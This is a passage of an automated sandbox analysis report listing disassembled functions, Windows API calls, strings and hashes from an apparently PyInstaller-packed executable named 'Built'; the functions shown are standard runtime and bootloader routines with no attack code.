Instruction Fuzzy Hash: 61219C21B4CB8282EF558B7AAB541797251EFA8B90F9C4230EA2DD37DCDE6CD5908200

Function 00007FF65E296290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2962D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2966C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29695C

Strings

p, xrefs: 00007FF65E2963FD
-, xrefs: 00007FF65E296369
f, xrefs: 00007FF65E2963F5
p, xrefs: 00007FF65E296385
:, xrefs: 00007FF65E29648C

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: abcb7667b957d8f5dbd0e8adad4feb9a5406bc79a4c0f8f9e0a23a0e5bdf5d00
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 56127E61E0824386FF245A14D3542B976E2FB60B50F8CA135F68AE6ACCDF3CE5C49B05

Function 00007FF65E290FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E291008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2913D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29166F

Strings

f, xrefs: 00007FF65E2910A0
f, xrefs: 00007FF65E29110A
f, xrefs: 00007FF65E291255
p, xrefs: 00007FF65E291112
p, xrefs: 00007FF65E2910AD

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: c92431c3f2b19ad514a78245bf6684d9d29dc8cb35ffddbace7df5535a84bb15
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 37125F61E0C34386FF245A17A3442B976A1FB60790F9E6035F69AD6AC8DF7CE5C08B14

Function 00007FF65E281050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF65E2810CC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF65E2811F6
fread, xrefs: 00007FF65E2811FD
malloc, xrefs: 00007FF65E28110F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF65E281108
fseek, xrefs: 00007FF65E2810D3
Failed to extract %s: failed to open archive file!, xrefs: 00007FF65E281098

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 85c2c2a02d59a3f01d6fca0121019b429f379df926c48f268a81054661b59493
Instruction ID: 0ea52cefb6d6ca7259a5c6bf1b5efbc983756a13d7a7122bb8d57dd8fbef602c
Opcode Fuzzy Hash: 85c2c2a02d59a3f01d6fca0121019b429f379df926c48f268a81054661b59493
Instruction Fuzzy Hash: A8413522A0C75286EE10DB12AB406BA7391BF64B84F9C4432FD4CE77DADE3CE9458740

Function 00007FF65E281470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF65E2814DE
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF65E2815DF
fread, xrefs: 00007FF65E2815E6
malloc, xrefs: 00007FF65E28151F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF65E281518
fseek, xrefs: 00007FF65E2814E5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF65E28149F

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 73de28b9ba9fe8a8e367a1b61ff615074c78b555d98f5270f885359bfc6ce07d
Instruction ID: 6ba09c0d8d2edfa4c93e677ee70fcea47ebae8575d2bbd90d0fdeff36de69caf
Opcode Fuzzy Hash: 73de28b9ba9fe8a8e367a1b61ff615074c78b555d98f5270f885359bfc6ce07d
Instruction Fuzzy Hash: 6B416722A0C74286EE10DB22A7405B97391BF64794F884932FD4DE7A9DDE7CE546CB04

Function 00007FF65E28EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF65E28EA65

Part of subcall function 00007FF65E28F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF65E28F9FF
Part of subcall function 00007FF65E28F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF65E28FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF65E28EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF65E28ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF65E28EE98

Strings

csm, xrefs: 00007FF65E28EA7F
csm, xrefs: 00007FF65E28EB60
csm, xrefs: 00007FF65E28EAE6

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: aa4659e3f42c6b7a15304c7e68fe7735d7625bd46b8b15cebfe575c27e0770f4
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: D5D17D72A0C74186EF209B259A413AD37A4FB65798F181235FE4DA7B9ACF38E494C700

Function 00007FF65E282C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF65E283706,?,00007FF65E283804), ref: 00007FF65E282C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF65E283706,?,00007FF65E283804), ref: 00007FF65E282D63
MessageBoxW.USER32 ref: 00007FF65E282D99

Strings

<FormatMessageW failed.>, xrefs: 00007FF65E282D70
[PYI-%d:ERROR] , xrefs: 00007FF65E282CA6
Error, xrefs: 00007FF65E282D8C
%ls: , xrefs: 00007FF65E282D22

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 361a5522263310ef7fac04a396d2ac78685c312a5983972802cb667b00db5cf9
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: E831C322B08B4142EA209B25AA106AA7692BF98788F450136FF4DE375DDF3CD546C700

Function 00007FF65E28DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF65E28DF7A,?,?,?,00007FF65E28DC6C,?,?,?,00007FF65E28D869), ref: 00007FF65E28DD4D
GetLastError.KERNEL32(?,?,?,00007FF65E28DF7A,?,?,?,00007FF65E28DC6C,?,?,?,00007FF65E28D869), ref: 00007FF65E28DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF65E28DF7A,?,?,?,00007FF65E28DC6C,?,?,?,00007FF65E28D869), ref: 00007FF65E28DD85
FreeLibrary.KERNEL32(?,?,?,00007FF65E28DF7A,?,?,?,00007FF65E28DC6C,?,?,?,00007FF65E28D869), ref: 00007FF65E28DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF65E28DF7A,?,?,?,00007FF65E28DC6C,?,?,?,00007FF65E28D869), ref: 00007FF65E28DDFF

Strings

api-ms-, xrefs: 00007FF65E28DD6D

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 5e0411608db28eb34008d5227815efb131a7f6d658f1c8286969918db502fbd0
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 9931AF62B1E74291EE129B12AB105B53398FF68BA4F5D4535FD1DA7388EF7CE4488210

Function 00007FF65E286360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF65E286456
LoadLibrary, xrefs: 00007FF65E2864AE
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF65E2863C7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF65E286407
Failed to load Python DLL '%ls'., xrefs: 00007FF65E2864A7
ucrtbase.dll, xrefs: 00007FF65E2863DD

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction ID: 2ff8d0a668d60eb5aca531fad8723a08db9fd662d9ccfdace69f2d30cebf22c5
Opcode Fuzzy Hash: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction Fuzzy Hash: 9F417C21A1C78691EE25DB20E7151E97361FB64344F884132FA5DA369EEF7CE509C740

Function 00007FF65E282A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF65E28351A,?,00000000,00007FF65E283F23), ref: 00007FF65E282AA0

Strings

[PYI-%d:%s] , xrefs: 00007FF65E282AA8
0, xrefs: 00007FF65E282B16
Warning, xrefs: 00007FF65E282B1E
WARNING, xrefs: 00007FF65E282AAF
Warning [ANSI Fallback], xrefs: 00007FF65E282B0F

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 64df3a915caa56ab54e70bf6329338c19b10d508852b190bc0c89b2d005a8abc
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 17218132A18B8192EB209B51BA817E677A4FB98784F480136FE8DE365DDF7CD245C640

Function 00007FF65E29B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF65E29B15F
FlsGetValue.KERNEL32 ref: 00007FF65E29B174
FlsSetValue.KERNEL32 ref: 00007FF65E29B195
FlsSetValue.KERNEL32 ref: 00007FF65E29B1C2
FlsSetValue.KERNEL32 ref: 00007FF65E29B1D3
FlsSetValue.KERNEL32 ref: 00007FF65E29B1E4
SetLastError.KERNEL32 ref: 00007FF65E29B1FF

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 12f476f87c8743e70c8b210e20a22f1b01636e2fed05d2f1e0a082253e023e8e
Instruction ID: 8ba9243395dd7399c49dc2cae8b66a81e664d9c1f413825862ceb3e75f551e33
Opcode Fuzzy Hash: 12f476f87c8743e70c8b210e20a22f1b01636e2fed05d2f1e0a082253e023e8e
Instruction Fuzzy Hash: 20212F20E0C25641FE585321975513D72575F647F0F1C6734F93EE66DEDD6CA8808301

Function 00007FF65E2A7D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF65E2A7D9D
GetLastError.KERNEL32 ref: 00007FF65E2A7DA9
CloseHandle.KERNEL32 ref: 00007FF65E2A7DC1
CreateFileW.KERNEL32 ref: 00007FF65E2A7DEC
WriteConsoleW.KERNEL32 ref: 00007FF65E2A7E0B

Strings

CONOUT$, xrefs: 00007FF65E2A7DCD

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 95ac61a8d31e293162db053720fe7bb8143320024619a683ad34350a0d7f533d
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: BA119321B18B4586EB508B12EB5432977A5FBA8BE4F080234FA5DD7798DFBCD814C744

Function 00007FF65E288ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF65E283FB1), ref: 00007FF65E288EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF65E283FB1), ref: 00007FF65E288F5A

Part of subcall function 00007FF65E289390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF65E2845F4,00000000,00007FF65E281985), ref: 00007FF65E2893C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF65E283FB1), ref: 00007FF65E288FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF65E283FB1), ref: 00007FF65E289044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF65E283FB1), ref: 00007FF65E289055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF65E283FB1), ref: 00007FF65E28906A

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction ID: 973bcfdb35f340b80f64c2c29a24bcb72850a35be5c020b554cd5b1b64faff3f
Opcode Fuzzy Hash: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction Fuzzy Hash: 8D417F62A1D78281EE309B12A7402AA73A4EBA5B84F481135EF4DA778DDE7DE540C700

Function 00007FF65E29B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF65E294F11,?,?,?,?,00007FF65E29A48A,?,?,?,?,00007FF65E29718F), ref: 00007FF65E29B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF65E294F11,?,?,?,?,00007FF65E29A48A,?,?,?,?,00007FF65E29718F), ref: 00007FF65E29B30D
FlsSetValue.KERNEL32(?,?,?,00007FF65E294F11,?,?,?,?,00007FF65E29A48A,?,?,?,?,00007FF65E29718F), ref: 00007FF65E29B33A
FlsSetValue.KERNEL32(?,?,?,00007FF65E294F11,?,?,?,?,00007FF65E29A48A,?,?,?,?,00007FF65E29718F), ref: 00007FF65E29B34B
FlsSetValue.KERNEL32(?,?,?,00007FF65E294F11,?,?,?,?,00007FF65E29A48A,?,?,?,?,00007FF65E29718F), ref: 00007FF65E29B35C
SetLastError.KERNEL32(?,?,?,00007FF65E294F11,?,?,?,?,00007FF65E29A48A,?,?,?,?,00007FF65E29718F), ref: 00007FF65E29B377

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 341ed06667cf8b6c5416a7ef0c6dfdccbf195f5bc763a811adde1679d5f4f530
Instruction ID: b7dd64ba46dfb9150e5cf65b32972216f9fc37ddd59981020058c92124635e2b
Opcode Fuzzy Hash: 341ed06667cf8b6c5416a7ef0c6dfdccbf195f5bc763a811adde1679d5f4f530
Instruction Fuzzy Hash: 17111D20E0C65282FE549721975117D72879F647F0F1CA734F92EF6ADEDE6CA4818305

Function 00007FF65E282910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF65E281B6A), ref: 00007FF65E28295E

Strings

[PYI-%d:ERROR] , xrefs: 00007FF65E282966
Error [ANSI Fallback], xrefs: 00007FF65E2829FF
Error, xrefs: 00007FF65E282A0E
%s: %s, xrefs: 00007FF65E2829E8

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: 08d921fd8ca82fb7d257db1ffe627f386c87c300cf43c8016c2337072c8c204a
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: 1231E222B18B8152EB209761AB416E67395BF987D4F480132FE8DE379DEF7CD146C600

Function 00007FF65E282390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF65E2823C8
DialogBoxIndirectParamW.USER32 ref: 00007FF65E28248E
DeleteObject.GDI32 ref: 00007FF65E2824C1
DestroyIcon.USER32 ref: 00007FF65E2824D3

Strings

Unhandled exception in script, xrefs: 00007FF65E2823F8

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
